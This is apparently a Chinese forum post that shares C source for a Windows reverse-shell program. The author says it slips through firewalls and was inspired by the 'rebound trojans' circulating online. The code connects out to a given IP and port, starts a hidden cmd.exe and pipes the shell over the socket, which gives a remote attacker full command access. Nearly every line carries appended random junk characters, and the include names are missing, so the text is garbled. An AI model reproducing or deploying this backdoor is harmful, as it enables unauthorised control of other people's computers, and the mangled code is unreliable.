这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ~#HH;q_7m
-D&.)N9ctQ
/* ============================== c%xED%X9
Rebound port in Windows NT KZp,=[t
By wind,2006/7 ft~|
===============================*/ !0!P.Q8>&
#include oP43 NN~
#include m2-fi*Mgg
Ti9:'I
#pragma comment(lib,"wsock32.lib") Qwp\)jVi
}(f.uN_v
void OutputShell(); 6ywnyh
SOCKET sClient; @&i#S}%/
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; zezofW]a
kB$,1J$q
void main(int argc,char **argv) 6,V.j>z
{ xy-$v
WSADATA stWsaData; "2vNkO##
int nRet; "FLD%3l
SOCKADDR_IN stSaiClient,stSaiServer; )$lSG}WD
8a":[Q[
if(argc != 3) 2heWE
{ c|R3,<Q]
printf("Useage:\n\rRebound DestIP DestPort\n"); [#,X$O>
return; m"?'hR2
} ^Q43)H0
:Z*02JwK
WSAStartup(MAKEWORD(2,2),&stWsaData); :)
Fp
B"
@=MZ6q
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); YfrTvKX
N#-kk3!Z;
stSaiClient.sin_family = AF_INET; 9m#H24{V'
stSaiClient.sin_port = htons(0); [6RV'7`Abj
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 9`gGsC
RB$ 8^#
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) MSYLkQ}_b
{ KoQ_:`
printf("Bind Socket Failed!\n"); tUAY]BJ*s
return; P7BJ?x
} K9z_=c+
G7kFo6Cb
stSaiServer.sin_family = AF_INET; 7,&]1+n
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); )*$
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); m|?"
k38
9>$%F;JP44
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 3/SqXu
{ ]a%\Q2[c
printf("Connect Error!"); -~Z@,
return; ^) b7m
} 9OJ\n|,(
OutputShell(); ,n,7.m.D
} l`5}i|4KTW
omUl2C
void OutputShell() UgP=k){
{ tB(X`A.|
char szBuff[1024]; ~E:/oV:4 >
SECURITY_ATTRIBUTES stSecurityAttributes; m%$E[cUW!
OSVERSIONINFO stOsversionInfo; {y%O_-C'r
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; KD<`-b)7<
STARTUPINFO stStartupInfo; 5N}|VGN
char *szShell; |"&4"nwa
PROCESS_INFORMATION stProcessInformation; e/~<\
unsigned long lBytesRead; ep1Ajz.l
R1%T>2"~&
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); \FX3=WW
XSIO0ep
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 9K_HcLO%y
stSecurityAttributes.lpSecurityDescriptor = 0; d`*vJ#$>2
stSecurityAttributes.bInheritHandle = TRUE; KUV{]?'
J\},o|WI
m/c~2?-;
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); wY)GX
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); :7]R2JP
PU\q.y0R
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); blS4AQ?b^
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uB9+E%jOdQ
stStartupInfo.wShowWindow = SW_HIDE; 6iS+3+
stStartupInfo.hStdInput = hReadPipe;
C_&tOt
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; sMo%Ayes
3Sb%]f5(
GetVersionEx(&stOsversionInfo); )7TTRL
unB "dE
switch(stOsversionInfo.dwPlatformId) 4}b:..Ku
{ RozsRt;i
case 1: [IW7]Fv<F
szShell = "command.com"; <0MUn#7'
break; $a]dxRkz
default: X> KsbOZ
szShell = "cmd.exe"; .5zJ bZ9
break; Kqjeqr@)
} e1a %Rj~
'S
;vv]}Gs
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); j|w+=A1
L 32ki}2
send(sClient,szMsg,77,0); Gj0NN:
while(1) 2Ki/K(
{ q3:'
69
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); r-uIFhV^
if(lBytesRead) ;W"[,#2TM
{ w|e i*L
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); "*WXr$
send(sClient,szBuff,lBytesRead,0); ld6@&34
} 60$
else h Nwb.[
{ j_g9RmZT
lBytesRead=recv(sClient,szBuff,1024,0); R["7%|RV
if(lBytesRead<=0) break; M?`06jQD.
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); }9dgm[C[b
} w9BH>56/"
} Cm>F5$l{
oE&[W>,x
return; )}8%Gs4C
}